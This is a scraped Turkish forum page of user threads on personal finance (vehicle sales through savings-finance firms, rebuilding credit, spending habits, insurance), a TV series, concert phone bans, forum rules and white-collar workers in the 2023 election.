Bir arkadaşım da dedi ki şimdi krediler falan arttığı için insanlar oranın üzerinden alıyor.

Güvenli olsun diyorsan devletin takas bank iye bir hizmeti var. Parayı oray atıyorlar, noterden devir olduktan sonra size geçiyor para. yok bir sıkıntı olursa da geri onlara dönmüyor gibi bir şey dedi.

Belki o şekilde yapabilirsiniz dedi ama net bir kullanan kişiyle karşılaşmadım henüz.
0
🌸ananiyimioguz
(27.01.24)
Benim anlamadığım şu.
Madem orada paran var bu katakulli neden?
İkincisi, hadi arkadaşı anladık, bizim arkadaşla da aynı şekilde konuşuyorlar.
Madem oaran var orda (nasıl oluyorsa artık) al parayı diyince neden uzuyorlar.
Bildiğin dolandırıcılık işte.
Cüzi miktarını kendi verip motoru üzerine alacak.
Ne eminevim ne de evkur'un böyle bir şeyden haberi vardır.
Yüksek ihtimal geri kalanı için onlarla anlaşmıştır elimde şöyle bir motor var kaç para verirsiniz diye.
Onlar da galerici gibi fiyat vermiştir anca bu kadar veririz diye.
Ancak ruhsat elemana geçtiğiniz içşn üzerine bir bardak soğuk su içeceksiniz.
Olay, bu.
Öyle şu kadarını ben verecem, getisini dayım, eniştem olmadı kaynım verecek gibi pazarlıklardan uzak durun.
0
marcus fenix
(27.01.24)
Bu yaz aracımı sattım, karşı taraf fuzuloto'dan kura ile hak sahibi olmuş.
Paranin yarisi nakit yarısı fuzuloto noter devrinden sonra hesabıma atacakmis.

Satış sırasında arada bir tanidik vardi fuzuloto'da ki görevlisi de hemserim çıktı.

Fuzuloto'da para ne zaman hesaba gecicek dedim 3 saat icinde dedi ve soz verdikleri gibi oldu

Tabi arada tanidik olmasa pek sicak bakmazdım.

Karar verirseniz para hesabınıza geçene kadar anahtarı teslim etmeyin
0
Fritz-X
(27.01.24)
bu firmalar evi alacak kişiye al şu parayı git al evi arabayı demiyor öyle paramı aldım firmadan evi arabayı alayım diye bir şey yok, olsa öyle yaparlar zaten.
alışveriş sırasında firmadan da biri oluyor, siz satışı veriyorsunuz yetkili de belgelerin kopyalarını vs alıyor ondan sonra ödemeyi gerçekleştiriyor.
satıcı için biraz can sıkan bir durum ama krediler böyleyken başka pek bir alternatifi de yok alıcının.
firma adını, şubesini vs öğrenip gidip sorabilirsiniz durumunu.
0
Whily
(27.01.24)
(2)

türk bankacılık sistemine nasıl girebilirim yeniden?

avatar is back
öğrencilikte çok düzenli bir banka müşterisiydim. 2-3 kredi kartı vardı limitleri çok düşük olmasına rağmen hepsini full kullanır günü gününe öderdim. hatta şimdi baktım 9-10 sene önce falan findeks notum 1790 civarıymış.sonra bir an da yurtdışına gitmem gerekti, banka hesaplarımı boşalttım, bir kaç
öğrencilikte çok düzenli bir banka müşterisiydim. 2-3 kredi kartı vardı limitleri çok düşük olmasına rağmen hepsini full kullanır günü gününe öderdim. hatta şimdi baktım 9-10 sene önce falan findeks notum 1790 civarıymış.

sonra bir an da yurtdışına gitmem gerekti, banka hesaplarımı boşalttım, bir kaç kredi kartımın borçlarını bir kaç ay geç ödemek zorunda kaldım. bir banka hesabımda 120 lira borç kalmıştı 2 sene peşime düşmüş meğer banka, en son bir şirket mi ne almış ailemden birine ulaşıp kapatsınlar borcu demişler de öyle öğrenip kapattım.

neyse velhasıl şimdi tr'deyim. henüz bankaya gidemedim ama hala aktif olan banka (kredi değil) hesaplarımdan 2 tanesinden kredi kartı başvurusu yaptım kabul edilmedi. daha önce de borsa hesabı açmaya çalıştım açmadılar. geçenlerde döviz bozmamak için 10k tl lazım oldu kredi çekmek istedim reddedildi.

ben nasıl şimdi tekrar sisteme girebilirim? bankaya gidip konuşsam maaş ya da gelir belgesi isteyecekler ama tr'ye yeni geldim bir süre dinlenip işe devam edeceğim ama belge yok bişey yok. istediğim kredi kartının kat kat üstünde tl bakiyem, daha da fazlası dövizim var. onları gösterip açtırabilir miyim acaba?

ama daha önemlisi önümüzdeki sene bir kaç işim için kredi çekmek istiyorum ama bu notla bu sicille mümkün değil, bunu 3-5 ay da toparlayabilmem mümkün mü? yoksa en az 6 aylık bordro, düzenli kk ödemeleri vs mi istenir.

teşekkürler fikir vereceklere şimdiden
0
avatar is back
(16.11.23)
çaren bloke / teminatlı kredi kartı.
0
Whily
(16.11.23)
Whily en doğru öneri ile gelmiş, nakit karşılık göstererek, o kadar limitte bir kredi kartı alıp öncelikle onu düzenli olarak ödeyeceksiniz. Bu arada bankaya birkaç tane de fatura için otomatik ödeme talimatı verin.

5-6 aylık süreç sonrasında bir kredili mevduat hesabı açın, ondan da arada çekim yapın, düzenli ödeyin.

Bu böyle bir yıl devam etsin, sonrasında nakit krediye başvurursanız sorun olmaz. Bunları mümkünse maaş hesabınızın bulunduğu bankadan veya düzenli olarak gelirinizi aktardığınız hesabınızın bulunduğu bankadan yapın.

Her daim vadeli mevduatta veya yatırım hesabınızda da biraz para tutarsanız daha bile güzel olur.
0
loras
(18.11.23)
(10)

Tüm maaşı yemek?

dejame
Özellikle İstanbul dışı için soruyorum. Büyükşehirlerde kira ve temel ihtiyaçlar maaşın çoğunu götürüyor. Öğretmen olarak atanan çok bekar arkadaşım var, hepsi ekside. Her gün internetten kıyafet ve popüler tüm ürünler alınıyor, günde birkaç kargo geliyor, her gün dışarıdan yemek sipariş ediliyor.Dü
Özellikle İstanbul dışı için soruyorum. Büyükşehirlerde kira ve temel ihtiyaçlar maaşın çoğunu götürüyor. Öğretmen olarak atanan çok bekar arkadaşım var, hepsi ekside. Her gün internetten kıyafet ve popüler tüm ürünler alınıyor, günde birkaç kargo geliyor, her gün dışarıdan yemek sipariş ediliyor.

Dünyaya bir kez geliyoruz, insanlar çalıştıktan sonra rahat bir yaşam istiyor ama bu durum bana biraz tuhaf geliyor. Siz ne düşünüyorsunuz?
0
dejame
(09.11.23)
Dünyaya bir kez geldiğimiz için birikim yapmak önemli bence. Bazı şeylerin telafisi olmuyor. Ben de tuhaf karşılıyorum. Cesaret mi öngörüsüzlük mü bilemiyorum artık ama ortada bir gözü karalık var.

İnsanlar kendi gençliklerinde anne babalarının kendilerine sağladığı standartlardan ayrılamadığı için böyle yapıyorlar sanırım ancak ülkecek fakirleştiğimiz bir gerçek. Normalde birçok kişi ailelerinin eskiden olduğundan daha az alım gücüne sahip aslında, ancak bunun farkında olmadıkları için olması gerektiği gibi yaşadıklarını düşünüyorlar gibi geliyor.
0
akhenaten
(09.11.23)
Şimdi kisitli zamanda ekonomi 101 dersi yapamayız ama çok basit örnek vereyim.

Eğer bankaya 1000 lira borcunuz varsa bu sizin sorununuz, eğer bankaya 100000 borcunuz varsa bu bankanın sorunu demişler.

Bir noktada ve bu enflasyonda bende lükslerime ihtiyaçlarimdan daha fazla para harcıyorum. Bana mesela tek kişilik mutfak masrafi için aylık 2000 tl vermek koyuyor ama Mesela üst üste 2 ay arayla Nike ayakkabiya 8500 tl veriyorum,

Tabi bunlar hep kredi cekip. Yani bu enflasyonist ortamda olur böyle şeyler.
0
marjinal kereste
(09.11.23)
internetten het gun cer cop kiyafet almakla dunyaya bir kez geliyoruz'un arasindaki baglantiyi ben de pek kuramiyorum. eve ayakkabi doldurmak hayat kalitesi arttiran bir sey degil.

bu econ 101 degil personal finance konusu ve mevzu finansal okuryazarlik acigi. "enflasyonist ortam", "birim para"nin yerini aldi sanirim. kredi cekip ihtiyac olmayan bir sey almak fakirlik dongusunde kalmayi garantilemek demek.
0
hot potato
(09.11.23)
Çok kısaca

Çok süratli fakirleştik ve fakirleşiyoruz.
Orta gelir grubu insanların bir kısmı alışkanlıklarını bu fakirleşmeye göre yeniden dizayn etme becerisinden ve öngörüden yoksunlar.
0
Mirket
(09.11.23)
Hak veriyorum. Çevremden de biliyorum. Bazı haller olur insan zor durumda kalır maddi olarak.
Bu bu durum anlaşılabilir. Diğer yandan harcama yapmaya meyilli, borçlu olmayı adeta hobi haline getirmiş çoğu kimse gün içinde de zaten maddi konuları konuşur.
Hayatı buna odaklı.

Reklam vs. bir çok tanıtıma dikkat edilirse, ihtiyacı karşılamaya yönelik değil, ihtiyaç hissi oluşturmaya dayalı yayınlanıyor.
0
diyecevaplandı
(09.11.23)
alışkanlıklar kolay değişmiyor. 2015'lere kadar olan şeyleri devam ettiriyorlar.

Ayrıca umutları yok, para biriktirip ne yapacaklarını bilemedikleri için harcıyorlar. (birikse ev-araba alamayacaklar, biriken parayla yine iphone falan alacaklar. Tatil yapmak bile lüks, yurtiçi pahalı, yurtdışı vizesi bilmemnesi ile aşırı uğraş)
0
nhk ni youkosu
(09.11.23)
Emeğin karşılığı git gide azalırken , kapitalin önemi gitgide artıyor, yani zenginler paralarına kolayca para katarak çok kolay bir şekilde dahada zenginleşiyor.

Zamanını ve emeğini satan insanlarda maalesef kapitalın gücü ve paranın değersizliği karşısında ezildikçe eziliyor.

Aslında bu kapitalist sistemin ve bununla birlikte karşılıksız basılan kağıt parçalarının ( paranın ) bir sonucu hepimizin bildiği gibi.

Üstüne sistemin tüm araçları ile bizi sürekli tüketime yönlendirdiği için de tasarruftan çok tüketiyoruz.

Aslında en nihayetinde bu bir tercih , yani tasarruf etmeke , tüketmekte tercihlerimizin bir sonucu ancak tüketim yönende manipüle edildiğimiz için bu eğilim daha çok tüketimle sonuçlanıyor.

Robert Kiyosaki kitaplarında bu konuları kitaplarında iyi bir şekilde açıklıyor, yani önce kendimize ödemez isek asla tasarruf ve yatarım yapamayız. Bunu yapmadığımız zaman ise bu döngüden asla çıkamayız.
0
Rao
(09.11.23)
bunun adı dünyaya bir kez geliyoruz değil hesap kitap bilmemektir. dengesiz yaşamaktır. zor durumlar için dahi olsa kenarda üç beş kuruş olmasının verdiği finansal özgüven hiçbir şey de yok.
0
anlamsiz geliyor
(09.11.23)
Tasarruf yapan, evde yemek yiyen vs vs bir insan olarak biriktirdiğimin hiçbir kıymetinin olmadığını fark ediyorum. Daha kenara koyarken bile değeri düşüyor. Her ay kenara maaşınızdan 10 bin tl koymak, o 10 bin tl'yi harcamaktan daha değersiz şu anda. Bilhassa yatırım finans araçlarını kullanmayan-kullanamayan kişiler için para biriktirmek sadece acil durum akçesi olarak anlamlı, yoksa maalesef değil...
0
silverleaf
(10.11.23)
muhtemelen taşrada. taşrada yapacak bir şey yok para harcamaktan başka.
biriktirse ne anlamı var? bugünün o yükselen faiziyle hesaplayalım.
kenara her ay 20k atsın. 240k yapar yıllık. en iyi ihtimalle mevduatta 340k falan alacaktı. borsa altın şu bu hadi çok iyi atlara oynasın 440k yapsın.
ne yapacak bu parayla? belki citroen ami alır.
eskiden de çok farklı değil de ama en azından hayal satılabiliyordu. para biriktir evin peşinatı çıksın, arabanın yarısını nakit alırsın falan filan. şimdi o hayallere kimseyi ikna edemiyorlar.
ya harcayacak ya da devlet harcamadığı 5 kuruşunu 3 kuruşa çevirecek kaşla göz arasında.
0
Whily
(11.11.23)
(2)

tss ve prim iadeli hayat sigortası

wop
hayırlı akşamlar romalı dostlar.tss için şirket fark ediyor mu? bulunduğum yerde özel hastane yok. aslında amacım 3 yıl ödeyip sonra ömür boyu yenileme güzelliğinden faydalanma.sigortacı arkadaşa sordum hepsi aynı yatarak tedaviye göre vs fiyatı değişir dedi ama bilemedim.sağa sola çok para harcayan
hayırlı akşamlar romalı dostlar.
tss için şirket fark ediyor mu? bulunduğum yerde özel hastane yok. aslında amacım 3 yıl ödeyip sonra ömür boyu yenileme güzelliğinden faydalanma.
sigortacı arkadaşa sordum hepsi aynı yatarak tedaviye göre vs fiyatı değişir dedi ama bilemedim.
sağa sola çok para harcayan birisiyim. paranın bir kısmını (50$ kadar) ile prim iadeli hayat sigortası da yaptırmak aklıma düştü. o para zaten her türlü elimden gidecek. en azından sigortaya gitsin ilerde belki işime yarar dönecek para diye düşünüyorum. bana mantıklı geliyor ama emin de olamadım.
hem tss hem de prim iadeli hayat sigortasını vergiden düşersin dediler ama kamu çalışanıyım. nasıl düşeceğiz?
0
wop
(24.10.23)
Yalnız o iş o kadar kolay değil. Yani 3 yıl dolunca şirket seni check-up'a sokuyor. En ufak bir şey çıksa ömür boyu yenileme hakkından mahrum bırakıyor. Eger o 3 yıl sonunda sorunsuz çıkarsanız o zaman aktif oluyor.

Kamu çalışanı oldugunuz için vergiden düşme gibi şansınız yok.
0
limonlu eksi
(24.10.23)
niye vergiden düşemesin? kamu çalışanın gelir vergisi çinko karbon da diğerlerinin gelir vergisi premium gelir vergisi mi? alacak poliçeyi mutemetlik işlerini yapan kişiye verecek gerisini onlar halledecek.
0
Whily
(31.10.23)
(5)

Derya'nın Polat'a aşık olması?

sassot
Neden? Esprili biri diye mi. Ama deryaya bakınca okumuş mimar olmuş gayet kültürlü biri. Memati'nin kendisine olan ilgisinin farkında ama görmezlikten geliyorken Polat'a ilgi duyuyor.
Neden? Esprili biri diye mi. Ama deryaya bakınca okumuş mimar olmuş gayet kültürlü biri. Memati'nin kendisine olan ilgisinin farkında ama görmezlikten geliyorken Polat'a ilgi duyuyor.
0
sassot
(14.06.23)
Hocam memati kıro, çirkin ve eleman. Polat Avrupa’dan gelmiş, daha medeni ve yakışıklı.
0
giovanne
(14.06.23)
başta planlanan Gina Montana Manny Ribera uyarlaması ama hikaye farklı yollara sapıyor.
0
Whily
(14.06.23)
youtu.be 7:48 de anlatmış :)

Memati maraba, Polat abisinin arkadaşı
0
okumakserbestbegenmeksart
(15.06.23)
Polat eğitimli, janti, muhabbetli adamdı.
0
kondansator
(15.06.23)
Polat alfa çünkü. Zeki, pratik, cesur, güçlü, başarılı, Avrupa'lı. Çakır'la tanıştıktan çok kısa süre sonra kendini belli ediyor ve nam yapıyor, Çakır ve Derya'nın en dar anında bir çanta doları "bende bunları koyacak yer arıyordum" diye bırakıp gidiyor.
0
Soichiro Honda
(15.06.23)
(7)

Şöyle bir şey var mı yahut olabilir mi?

pavlis
Şimdi hepimiz biliyoruz ki bir konser için mekana, eylenceye gidince hemen telefonlar çıkıyor ve tüm keyfimizin içine ediyor. Acaba bu organizasyonda telefon çıkarıp çekim yapmak yasaktır, muhalefet edenler mekanı terk edecektir gibi bir kural olabilir mi?Bunu yapan var mı?Çok mantıklı ve tercih edi
Şimdi hepimiz biliyoruz ki bir konser için mekana, eylenceye gidince hemen telefonlar çıkıyor ve tüm keyfimizin içine ediyor.

Acaba bu organizasyonda telefon çıkarıp çekim yapmak yasaktır, muhalefet edenler mekanı terk edecektir gibi bir kural olabilir mi?
Bunu yapan var mı?
Çok mantıklı ve tercih edilesi deyil mi?
0
pavlis
(05.05.23)
Mantıklı değil.
0
dissendium
(05.05.23)
böyle organizasyonlar var. Alice müzikali böyleydi. telefon yasak. çıkarınca yüzüne lazer tutuyordu görevliler. harikaydı.
0
gabe h coud
(05.05.23)
www.npr.org

telefonları bir konser alanında kilitli kalan bir torbaya koyduran organizasyonlar var. konser alanından çıkınca kilidi açılıyormuş.
0
inheritance
(05.05.23)
Broadway müzikallerinin hemen hepsinin korsan çekim halleri malum sitelerde mevcut. Demek ki çok da yaptırım yok.

İnsanların izlemek yerine telefonla kayıt almaya çabalamasına anlam verememekle beraber, nasıl izlemek istiyorlarsa izlesinler. Biri telefonunu çıkardı diye rahatsız olmadım hiçbir konserde de. Ya da başkası eşlik ediyor diye de keyfim kaçmadı. Gittiğim bi konserde telefona erişimimi engellemeye çalışsalar aşırı gıcık olurum. Kameraya çekmesem telefona özgürce ulaşmak isterim. Kilitli poşet falan ne yani ilkokul çocuğu gibi. Belki şarkılardan birinin sözlerine bakıcam yani
0
nundu
(05.05.23)
dress code diye bir şey var mesela uymuyorsa almıyor.
tipine bakıyor almıyor.
almamak isterse ya da içeriye sokulabilecek şeylere sınırlama getirmek isterse getirir. garip ya da yeni bir durum değil.
bizde gidip eğleneyim diyenden çok gidip instalık malzeme toplayayım diyen çok olduğu için o iş biraz zor. ama ben memnunum instadan bütün etkinliği beleş takip edebiliyorum bunlar sayesinde dslkfj
0
Whily
(05.05.23)
louis ck gosterisinde telefonunu bir kilifin icine kilitleyip sana veriyorlar. telefon sende ama ulasamiyorsun hicbir sekilde. cesitli gosterilerde boyle olabilir.

ama konserde insanlar paylasim yapmak ister, onu engellemek zor.
0
antikadimag
(05.05.23)
görüyor ve arttırıyorum, lütfen şehirlerarası yolcu otobüslerine de böyle bir yasak gelsin.
0
halanne
(06.05.23)
(3)

R10 konu açma

nerthus_
Sitede yeniyim henüz ticaret puanım yok. Satış için değil de soru sormak için konu açabiliyor muyum?
Sitede yeniyim henüz ticaret puanım yok. Satış için değil de soru sormak için konu açabiliyor muyum?
0
nerthus_
(05.05.23)
Soru sorabiliyorsun
0
bonjourrr
(05.05.23)
1 ayın ve 5 ticaret puanın olmadan kendin bir şey satmak için konu açamazsın. ücretli üyelik vs alman gerekir. onunda dışındakiler serbest. soru sorabilirsin. boş muhabbetlere katılabilirsin. biri iş veriyorsa onu alabilirsin vs
0
Whily
(05.05.23)
r10 da gold üyeliğim var yardımcı olmak isterim. soru sormak için ticaret puanına gerek yoktur. ayrıca tic puanı almak için dm ile iletişime geçebilirsinz
0
yirmibesonbes
(06.05.23)
(20)

Mağdur değil miyiz?

the man with no name
Arkadaşlar, önceki seçimlerde vaatlerden çok iktidar değişikliği öncelikli diye oy verirdim. ancak bu seçimde iktidar değişikliği kadar millet ittifakı, ekonomik ve sosyal vaatleri ile de çok öne çıkıyor.ancak broşürlerinde, beyannemelerini filan incelediğimde gençlere, emeklilere, esnaflara, memura
Arkadaşlar, önceki seçimlerde vaatlerden çok iktidar değişikliği öncelikli diye oy verirdim. ancak bu seçimde iktidar değişikliği kadar millet ittifakı, ekonomik ve sosyal vaatleri ile de çok öne çıkıyor.

ancak broşürlerinde, beyannemelerini filan incelediğimde gençlere, emeklilere, esnaflara, memura, engelliye, yaşlılara vaatleri önceliklendiriyor. bu ülkede işinde gücünde bir özel sektör çalışanına bir vaat göremedim. örneğin yaklaşık 4.000 gün ssk kaydı olan beyaz yaka bir işçi, iktidar değişikliği ile gelecek daha fazla özgürlük ve demokrasi dışında faydalanacağı neredeyse hiçbir şey göremiyorum. vaatler arasında belki de bana hitap eden tek şey kış saati uygulamasına son verilmesi, öyle söyleyeyim. diğer gruplara yapılacak iyileştirmelerden dolaylı etkilenmekten usandımm. doğrudan bir şey de bana ve benim gibi insanlara yarasın.

oysa bu ülkenin yükünü herhangi bir yere sırtını yaslamamış bu işçiler, beyaz yakalar daha çok çekmiyor mu? neredeyse hiçbir şey elde etmeden çalıştık ve üstüne bir sürü sorunlarımız oldu.

çok kafama takıldı, ben mi yanlış düşünüyorum? yoksa yeteri kadar mağdur değil miyiz? bu defa mv seçimlerinde oy vermeyi düşünmüyorum gerçekten.
0
the man with no name
(05.05.23)
tabii ki yanlis dusunuyorsun. 1. burada secim kazanmaya calisiliyor. haliyle en politik olarak pragmatik vaatler veriliyor belki baska partiye oy verecek olan insanlarin dikkatini cekmek icin 2. beyaz yakalinin hic genc cocugu veya yasli annesi babasi yokmus gibi yazmissin. veya emekli hic calismamis gibi 70 yasina kadar. 3. diger gruplara yapilan iyilestirmeler benim kaybim mantigi asiri toksik.
0
hot potato
(05.05.23)
@hot potato teşekkürler. ben diğer gruplara yapılan vaatler yapılmasın demedim. kapsayıcılığın dışında bir politika güdüldüğüne işaret etmek istedim. toksik bir durum mu emin değilim, sürekli her şeye karşı anlayışlı olmak ve empati kurmak artık bana daha toksik gelmeye başladı açıkçası. neden hep empati kuran ben ve benim gibiler oluyor. bu yüzden belki de bize bir şey vaadedilmiyor belki de. bireyin hayatını iyileştirmek yerine belli gruplara daima öncelik verildiğinden bahsetmek istedim.
0
🌸the man with no name
(05.05.23)
Özellikle bekarları ağzına alan yok. Şu ortamda en çok sıkıntı çeken grup bence. Her şey ailelere yönelik planlanıyor.

Örneğin bekara ev vermem diye artık çok yerleşmiş bir anlayış var etrafta. Ya da şirketler ve kurumlar bekar çalışanlara yeni mezun muamelesi yapıyor sıkıntı bir iş varsa direkt bekarlar öne sürülüyor. Aynı şekilde izinlerin dağıtımda da bu böyle. Baya ikinci sınıf insan muamelesi görüyorsun evli değilsen.

Evin bile ev değil "bekar evi" olarak düşünülüyor ve yanına kalacak birini almanı falan bekliyorlar.
0
akhenaten
(05.05.23)
Hocam benim bulabildiğim olarak şurayı incelemeni tavsiye ederim. Eminim ki kendi sitelerinde va daha kapsamlı şeyler vardır.

www.evrensel.net

Birkaç örnek madde alarak yorum yapayım.


- Yazılı ve sözlü sınavda en yüksek puan alandan başlamak üzere liyakat esaslı alımlarının yapılması sağlanacak.

Yorumum: yukarıda saydığın gruplara hiç girmeyenlerin de faydanabanileceği bir şey. Belki de sen de bu durumun mağdurusun. İl/ilçe belesiyesi el değiştirdikten sonra işe girebilen insanlar tanıyorum.

- Devlet okullarındaki evlatlarımıza beslenme desteği başlatılacak.
Yorumum: çocuğun varsa direkt senin ekonomini de etkileyecek bir madde.

- Çiftçilerin ve balıkçıların kredi faizleri silinecek.
Yorumum: onların yükünün azalması, üretimin artması ürün fiyatlarının ucuzlaması haliyle bireysel ve toplumsal ekonominin iyileşmesi demek.

Bir de şöyle bir video gördüm, izlemedim ama bakmanı tavsiye ederim. youtu.be
0
senolll
(05.05.23)
ülkede son yıllarda alım gücü en çok düşen kesim özel sektör çalışanı beyaz yakalı kesim. Ülkeyi terk etmek isteyenlere bakarsan zaten kimin hayatı kötüleşmiş kimler benzer seviyede görürsün. Asgari ücretliler hep böyleymiş, memurlar hep bir şekilde ortada. Emekliler geçmişte evini alabildiyse ve küçük şehirdeyse bu krizden pek etkilenmemiş olabilir vs vs.

Sonuç olarak evet, mesela ülkenin refahını artırmak isteseler Eyt'yi geçirmemeleri, memur sayısını azaltmaları falan lazım. Ama siyaset mecburen çoğunluğa oynuyor, adamlar 4 çocuk yaparken biz evlensek bile çocuksuz takılıyoruz. Yani gelecekte de böyle olmaya devam edecek veya demokrasi kavramı biraz değişecek.

Sen yine oy ver bence, bu oy "kötü gidişi durduracak". İleride beyaz yakalıların haklarını koruyan bir parti ortaya çıkar mı yeterli oy alabilir mi bilmiyorum.
0
nhk ni youkosu
(05.05.23)
75 yasındaki adamdan minnet umarsan böyle
0
abi bi dizi buldum on numara
(05.05.23)
Başkan bu sebepten oy vermiyorsan o zaman bundan 6 ay sonra buralarda başlık açma ya da şikayet etme. Oy vermemek benim için ikisi de aynı o yüzden bana fark etmez demek bu noktada, eğer mutluysan oy verme.

Türkiye gibi bir ülkede politikacinin konuşacağı şeyler ilk karşı taraftan alacağı oylar olacak. Türkiye Finlandiya değil ki konuşalım.

Kk politikalarinda sana sıfır etki var demek saçma olur. Bir sürü şey var. Biz şu an ülkenin bozulmuş ayarlarini yerine getirmek ile ugrasiyoruz, beyaz yakadan konusmasa da olur. Beyaz yaka "benim hakkimda konuşmadı o zaman banane" diyorsa o zaman mutludur hayatından.
0
logisticsmanager
(05.05.23)
Ben size %100 katılıyorum. Ben hariç herkese doğrudan fayda sağlayacak bir şey vaad edilirken ben sadece ödediğim vergilerle kaynak olarak kullanılacağım gibi hissediyorum.
0
namandigurai
(05.05.23)
Maaelesef öyle populizm uğruna hep belli kesimlere vaat veriliyor, muhalefet bizi cepte görüyor, akp ise zaten bunlar bize oy vermez diye kasmıyor arada kalıyoruz. resmen sokak köpeği kadar değerimiz yok seçim vaadi anlamında.
0
nuisance
(05.05.23)
@logisticsmanager ben cb seçiminde oy kullanacağım. mv seçimlerinde oy kullanmak konusunda saydığım bu sebeplerden kararsızlığım var dedim. oy kullanmayacağımı belirtmedim. fikir almak için yazdım. üstelik olduğum seçim bölgesinde hiçbir mv adayı da bana hitap eden insanlar değil. tüm seçimlerde bir kere dahi iktidardan yana oy kullanmadım. ve geldiğim noktada hala dışlanmış hissettiğim için düşüncelerimi paylaştım. benim haklı olduğum yanlara değinmek yerine stratejik oy kullanmaya devam diyorsunuz. zaten hep öyle yaptım.
0
🌸the man with no name
(05.05.23)
olay vaatten çok bu düzenin değişmesine önce normalleşelim sonra vaatlere bakarız.
0
mikahakkinen
(05.05.23)
65 yaş üstü adayların gençleri anlamayacağı açık.
Verdikleri sözlerin çoğunu yapamayacakları ortada.
İktidar değişmezse et kısa zamanda bin lira falan olur. Bu kesin gerçek.
0
vizivozo
(05.05.23)
cepte görüyorlar +1

diğer kesimin üstüne oynamak daha karlı ve kolay. siyaset dili yıllar içerisinde bu kesim üzerinde döndü ve gelişti. daha da kolay ayrıca ve oyları beyaz yakaya göre çok daha değişken. bu yüzden bu kesimin üstüne çalışmak daha karlı geliyor.

dediklerine katılıyorum ancak mv seçimleri de en az cb seçimi kadar önemli. akp gidecek ama ana muhalefet olarak kalacak. bu noktada ne kadar az mv sahibi olurlarsa o kadar iyi ancak şu anda çoğunluğu alacaklar gibi duruyor ve bu başta kendilerinin yargılanmaları olmak üzere, düzelmesini istediğimiz birçok şeyin önünde engel.

bu yüzden oy vermek, özellikle chp ya da iyip'e vermek çok önemli. tabi bölgenizde başka parti güçlüdür orası ayrı.
0
not sure if serious
(05.05.23)
Aynen bro oy kullanma bu süper demokratik bir başkaldırı, kesinlikle ülkenin geleceğini değiştirecek bir hamle gibi geldi bana da bu. Tiananmen Meydanı'nda kendini yakan rahip dayıdan sonraki en çok ses getirecek pasif direniş örneği bu olabilir gibi geliyor, kitleleri arkandan sürükleyeceğine eminim. Hayırlısı olsun.
0
Kaleci Saçlı Yırtıcı Forvet
(05.05.23)
katılıyorum ama bu yeni bir şey değil. bu sebeple muhalefet 20 yıldır kaybediyor. bence hala elle tutulur, kitleleri arkasında sürükleyen bir vaadi yok. ana çerçeve $300mr para getireceğiz ve herkese para vereceğiz. mesele bu malesef. bana kalırsa bu bir kolaycılık ve popülizm.
doğu illerindeki çiftçilere elektrik bedava verecez demiş kılıçdaroğlu mesela. böyle bir şey yapılıyorsa niçin sadece doğu illerine yönelik var? diğer bölgelerde çiftçiler yok mu? bu popülizm işte. kaybettiren dil tamamen bu. kalkınmada öncelikli iller vs diye bunu doğru bir şekilde anlatabilse bu kadar tepki görmeyebilirdi ama bu durumda çeşitli teşvik paketleri ve kredi imkanları içeriyor programlar. burada ise doğrudan bedava elektrik vaadi söz konusu. kaldıki kaçak elektrik kullanımı gibi ülkemizde ciddi bir problem olmasına rağmen...
0
debian
(05.05.23)
Haklısın kardeşim.
Ben de hiç yalnız yaşayan bekar erkekler için bir vaad göremedim.
Bu konuda çok kırgınım onlara.
İyi düşünmüşsün.
Ben de sandığa gitmeyeyim bari.
0
Mirket
(05.05.23)
modern demokrasilerde maalesef çoğunluğun sözü geçer. çoğunluk da önce kendi çıkarları için konuşur.

Türkiye'de beyaz yakalı çalışanlar aktif çalışan nüfusun sadece %25'i. yarısı bile değil. Üstelik beyaz yakalı işçilerin çoğu işçi olduğunun bile farkında değil ya da kabul etmiyor. Kimse sayıca bu kadar az, üstelik kendi durumunun bile farkında olmayan, hak talep etmeyen bir kitle için uğraşmaz, vakit harcamaz.

Diğer yandan beyaz yakalıları kandırmak çok kolay. Şık bir ofiste, havalı giyinebilsin, öğlen yemek kartıyla kahveciden kahvesini alabilsin, 2-3 havalı kariyer etiketiyle bu insanları gece gündüz çalştırabiliyorsun zaten. Bir örgütlenmeleri yok, tamamı kendini şirketin ortağı bir sermayedar sanıyor. İşçi olduğunun bile farkında değil.

Mesela bir fabrikada torna ustasını saat 5 oldu mu tutamazsın. Adam biner servisine gider. İsterse iş kalmış olsun. Sabah 9'da gelir kaldığı yerden devam eder. İşi bitirmek için kal dersen de mesaisini ister, ödemezsen gider sendikaya şikayet eder. Çok kafası bozulursa istifa eder gider arkasına bile bakmaz. Patrondan falan da korkmaz kolay kolay. Mesela maaşını 2 gün geç yatır adam kapatır makineyi parasını alana kadar şalteri açmaz.

Aynı fabrikada o torna ustasının yaptığı işi yurtdışına satan "regional sales director" sabaha kadar çalıştırılabilir. Mesai istemez, zaten isteyemez. ARkasını savunacak bir sendikası yoktur. Patrondan ödü patlar. İstifa edip gitmeye yüreği yetmez çünkü muhtemelen o fabrikanın namı büyüktür, cv'sinde öyle bir şirketten ayrıldım yazmaya eli gitmez. Bu adamlara dandik bir özel sigorta, uyduruk bir şirket arabası kullanım hakkı verdin mi tamam zaten.

Çok komik ama Türkiye'de mavi yakalı işçiler sağ muhafazakar siyasete daha yakındır. Beyaz yakalı işçiler de genelde sosyal demokrat siyasete yakındır. Ama sosyal demokrasinin en temel unsuru sendikalaşmayı en iyi başaranlar mavi yakalılardır.


Bildiğim bir sektörden de örnek vereyim.
Eskiden reklam kampanyalarının fotoğraf ya da film çekimleri yapılırken bir saat sınırı yoktu.

mesela bir reklam filmi çekilecek ve bu çekimin 24 saat süreceği düşünülüyor. Sabah 8'de başlar çekim, ertesi sabah 8'de biter ara verilmeden. Hatta yönetmenin, fotoğrafçının, oyuncunun kaprisine göre bazı sahneler tekrar çekilir 36 saat 40 saat aralıksız çalışılırdı.

Bu çekimlerde beyaz yakalı da, mavi yakalı da çalışır. Mavi yakalılar dekoru kurar, malzeme taşır, ışıkları kurar, getir götür nakliye işlerini yapar, yemek hazırlar, kamera sistemlerini kurar vs. Beyaz yakalılar da reklamı yapılacak şirketin ve reklamı yapan ajansın temsilcileridir. İşin plana uygun gidip gitmediğini takip etmek için settedir. Setten sonra o reklam malzemelerinin hazırlanması, mesela filmin montajının yapılması, ilanların baskıya hazırlanması da beyaz yakalının görevidir. Yani setten sonra da beyaz yakalı çalışmaya devam eder. 36'lik aralıksız bir çekimden sonra, 2-3 saat uyuyup gelen fotoğraflarla reklam bannerları hazırlamak için bilgisayar başına oturur mesela tasarımcılar.

Hazırlanan reklam bannerları medya planına göre dağıtmak için pazarlama ekibi mesai harcar... Korkunç yorucudur bu süreçler de.

